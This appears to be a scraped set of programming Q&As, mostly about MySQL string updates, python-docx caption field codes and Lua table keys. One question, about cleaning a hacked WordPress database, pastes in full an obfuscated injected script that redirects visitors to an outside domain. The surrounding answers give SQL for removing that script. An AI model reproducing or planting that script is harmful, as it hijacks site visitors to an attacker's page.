I have a column which contains data like
thumb/RANDOM_STRING.JPG
thumb/cat/RANDOM_STRING.JPG
thumb/test/again/RANDOM_STRING.JPG
I want to contain only the Image name. And want to DELETE every word before / character.
Here is what I have tried but it does not work
UPDATE wsr_jshopping_products
SET product_full_image =
REPLACE(product_full_image,'thumb//', '');
if you just want the filename to remain use:
UPDATE wsr_jshopping_products
SET product_full_image = REVERSE(
SUBSTRING(
REVERSE(product_full_image),1,
LOCATE('/',REVERSE(product_full_image))-1))
Related
I'm removing a wordpress attack who independent of the files, update all the wp_posts table with malicious script.
An example of a the column post_content is the following:
<p>[/mvc_price_listing][/vc_column_inner][vc_column_inner width="1/2"][promo_banner image="9510"][/promo_banner][mvc_price_listing price_visibility="none" price_title="Ladrillo Fiscal Artesanal<br />
<small>Generico</small>" top_bg="#c41200"]</p>
<p>[/mvc_price_listing][/vc_column_inner][/vc_row_inner][/vc_column][vc_column width="1/6"][/vc_column][/vc_row]</p>
<script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://ischeck.xyz/?pma1','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script>
So I found all the virus scripts are in the last of the content, the length is dynamic, and always start with: "var _0x2cf4"
So my question is what I have to do for execute a query for wp_posts table, who replace the content of post_content with only the first part until "var _0x2cf4" wheere found.
Thanks you very much :)
You appear to have been hit by a Overzoruaon adware spreading bot. The number "_0x2cf4" is actually random and might change between attempts, so best not to rely on that.
You actually want to remove the <script> tag. So I think
UPDATE wp_posts SET post_content = SUBSTRING_INDEX(post_content, '<script>', 1);
will delete everything from the first <script> onwards, included.
Also, I strongly suggest you to install a XSS-defense plugin and/or make <script (no closing angle bracket) a forbidden word.
You can use string functions:
update wp_posts
set post_content = substring(post_content , 1, locate('_0x2cf4', post_content) - 1)
where substring(post_content , 1, locate('_0x2cf4', post_content) - 1) > 0
locate('_0x2cf4', post_content) gives you the index of ''_0x2cf4' within post_content; you can then take everything from the start of the string until that position, minus 1. The where clause ensures that only "infected" values are updated.
Before running the update query, you can make sure that it produces the expectd result with the following select:
select
post_content,
substring(post_content , 1, locate('_0x2cf4', post_content) - 1)
from wp_posts
where substring(post_content , 1, locate('_0x2cf4', post_content) - 1) > 0
I am currently manipulating a word document using Python-docx and I would like to standardize every table/figure caption to either match with their corresponding heading or just increment them based on user choice.
I am currently stuck with the field code as I need to also update the field automatically. Below is a sample field code which I have from the document and would like to achieve
Table { STYLEREF 1 \s }-{ SEQ Table \* ARABIC \s 1} Random Heading Name
I have referenced from this github link
paragraph = document.add_paragraph('Table ', style='Caption')
run = run = paragraph.add_run()
r = run._r
fldChar = OxmlElement('w:fldChar')
fldChar.set(qn('w:fldCharType'), 'begin')
r.append(fldChar)
instrText = OxmlElement('w:instrText')
instrText.text = ' STYLEREF 1 \s '
r.append(instrText)
fldChar = OxmlElement('w:fldChar')
fldChar.set(qn('w:fldCharType'), 'end')
r.append(fldChar)
instrText = OxmlElement('w:instrText')
instrText.set(qn('xml:space'), 'preserve') # sets attribute on element
r.append(instrText)
fldChar = OxmlElement('w:fldChar')
fldChar.set(qn('w:fldCharType'), 'begin')
r.append(fldChar)
instrText = OxmlElement('w:instrText')
instrText.text = ' SEQ Table \* ARABIC \s 1'
r.append(instrText)
fldChar = OxmlElement('w:fldChar')
fldChar.set(qn('w:fldCharType'), 'end')
r.append(fldChar)
I have tried using preserver and separate but they can't seem to get "-" which I need sitting in between the 2 field code.
So right now, my end product is:
Table { STYLEREF 1 \s }{ SEQ Table \* ARABIC \s 1} Random Heading Name
I would like to concatenate a variable with a table in a file called items.json. My attributes inside of the files are called "pos1_name", "pos2_name", etc... So I would like to use the number in the attribute name, as a variable. I've try : item.pos..i.._name but it doesn't work.
items = VarLoad.loadTable("items.json")
for i=1,7 do
--var ="1"
--print(table.concat(items,"",2))
if items.pos1=="1" then
item[i] = display.newImageRect("items/"..items.pos1_name..".png", 80 , 80)
item[i].x = holder[i].x+10
item[i].anchorX=0
item[i].y=holder[i].y
itemGroup:insert (item[i])
item[i].destination="item1"
item[i]:addEventListener( "touch", onSwitchPress )
item_bigsize[i] = display.newImageRect("items/"..items.pos1_name..".png", 240 , 240)
item_bigsize[i].x = 950
item_bigsize[i].anchorX=0
item_bigsize[i].y=display.contentCenterY-130
group:insert (item_bigsize[i])
item_bigsize[i].isVisible=true
end
i=i+1
end
My attributes inside of the files are called "pos1_name", "pos2_name", etc... So I would like to use the number in the attribute name, as a variable. I've try : item.pos..i.._name but it doesn't work.
You need to use full table notation: items.pos1_name is a shortcut for items['pos1_name'], so if you need to generate the key dynamically, you can use something like this:
print(items['pos'..i..'name'])
All my data have carriage return in url field:
ex:
see the cursor position.
After I remove manually the carriage return (with keyboard !), everything works fine:
(see the cursor position)
I tried:
UPDATE links set url= replace(url,'\r\n','');
UPDATE links set url= replace(url,'\n','');
UPDATE links set url= trim(url);
NOT good: How do I get rid of these carriage returns ?
UPDATE `link` SET `url` = TRIM('\r\n' FROM `url`);
The function TRIM() will only remove spaces and not line breaks and other characters. As their documentation says, it has "Remove leading and trailing spaces" for TRIM(). But you can specify characters to remove.
http://dev.mysql.com/doc/refman/5.0/en/string-functions.html
Although the one you tried should work, also try:
update links SET url= TRIM(TRAILING '\r\n')
Another option:
UPDATE links SET url= REPLACE(url, '\r', '');
Btw, the above could also be formed like this:
UPDATE links SET url= REPLACE(REPLACE(url, '\r', ''), '\n', '');
This would remove both \r\n and \n
I need to replace the special characters å,ä,ö (with a or o) within a MySQL database. How can I apply this search and replace only to affect image links? The images have either jpeg or jpg extension.
update your column with the desired data. Use a sequence of replaces, or write a custom function:
UPDATE mytable
SET link=REPLACE(link, 'ä,', 'a');
If your links are scattered in text, you can use substring_index to break it apart from the text using www. as the first delimiter, .jpg as the second, and re-concatenate with the rest of the text after replacing
set #a='sömetext www.göögle.com.jpg sömetext';
select concat(
substring_index(#a, 'www.', 1),
'www.',
replace(substring_index(substring_index(#a, '.jpg', 1), 'www.', -1), 'ö','o'),
'.jpg',
substring_index(#a, '.jpg', -1)
);
>sömetext www.google.com.jpg sömetext
Solved -
UPDATE wp_postmeta SET meta_value = REPLACE(REPLACE(REPLACE(meta_value, 'å', 'a') , 'ä', 'a') , 'ö', 'o')
WHERE LOWER(RIGHT(meta_value, 5)) = '.jpeg'
OR LOWER(RIGHT(meta_value, 4)) IN ('.jpg', '.gif', '.png')
You might want to squeeze in an additional parameter to look for and replace capital letters.